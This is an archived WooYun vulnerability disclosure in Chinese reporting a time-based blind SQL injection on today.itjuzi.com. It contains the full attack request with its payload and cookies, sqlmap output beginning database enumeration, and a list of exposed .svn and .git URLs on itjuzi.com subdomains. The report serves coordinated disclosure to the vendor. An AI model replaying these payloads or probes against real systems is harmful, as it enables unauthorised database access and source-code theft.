乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-30: 细节已通知厂商并且等待厂商处理中 2015-07-05: 厂商已经确认,细节仅向厂商公开 2015-07-15: 细节向核心白帽子及相关领域专家公开 2015-07-25: 细节向普通白帽子公开 2015-08-04: 细节向实习白帽子公开 2015-08-19: 细节向公众公开
天地本不仁 万物为刍狗 【HD】 以团队之名 以个人之荣耀 共建网络安全
POST数据包:
POST /product/zan HTTP/1.1Content-Length: 137Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://today.itjuzi.com:80/Cookie: cisession=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b2a6a5c4d30d6748fb30154e5796cc98%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%2236.250.86.158%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A107%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F537.21+%28KHTML%2C+like+Gecko%29+Chrome%2F41.0.2228.0+Safari%2F537.21%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1435633207%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Da1cceb1517366149341120e3ab543104; Hm_lvt_087dbe10f3d514bdbd5a1a73249022a4=1435633053,1435633054,1435633420; Hm_lpvt_087dbe10f3d514bdbd5a1a73249022a4=1435633420; _ga=GA1.2.778503783.1435633090; _gat=1; _ga=GA1.2.778503783.1435633090; _gat=1; HMACCOUNT=F335C26ADDC4F49A; jiathis_uniqid=143563315255920600ab2f7Host: today.itjuzi.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/
id 参数 依旧5库
这个注入点 注入太慢了 就不继续了
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nsqlmap identified the following injection points with a total of 126 HTTP(s) requests:---Parameter: #1* ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=if(now()=sysdate(),sleep(0),0)/' AND (SELECT * FROM (SELECT(SLEEP(5)))vkGK) AND 'jLCC'='jLCC'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/---[11:41:13] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 7web application technology: PHP 5.4.41back-end DBMS: MySQL 5.0.12[11:41:13] [INFO] fetching database names[11:41:13] [INFO] fetching number of databases[11:41:13] [INFO] retrieved:[11:41:13] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errorsdo you want sqlmap to try to optimize value(s) for DBMS delay responses (option'--time-sec')? [Y/n] y5[11:41:48] [INFO] retrieved:[11:42:03] [INFO] adjusting time delay to 2 seconds due to good response timesinformation_
附送几个不知道有没有提交过的svn和git泄露 如果有泄露就改 没泄露或者补上的就算了
http://itjuzi.com/.svn/entries 存在.svn漏洞http://today.itjuzi.com/.git/config 存在git漏洞http://sh.itjuzi.com/.svn/entries 存在.svn漏洞http://service.itjuzi.com/.git/config 存在git漏洞http://u.itjuzi.com/.svn/entries 存在.svn漏洞http://api.itjuzi.com/.git/config 存在git漏洞http://tmp.itjuzi.com/.svn/entries 存在.svn漏洞http://car.itjuzi.com/.git/config 存在git漏洞
危害等级:高
漏洞Rank:15
确认时间:2015-07-05 11:23
正在处理
暂无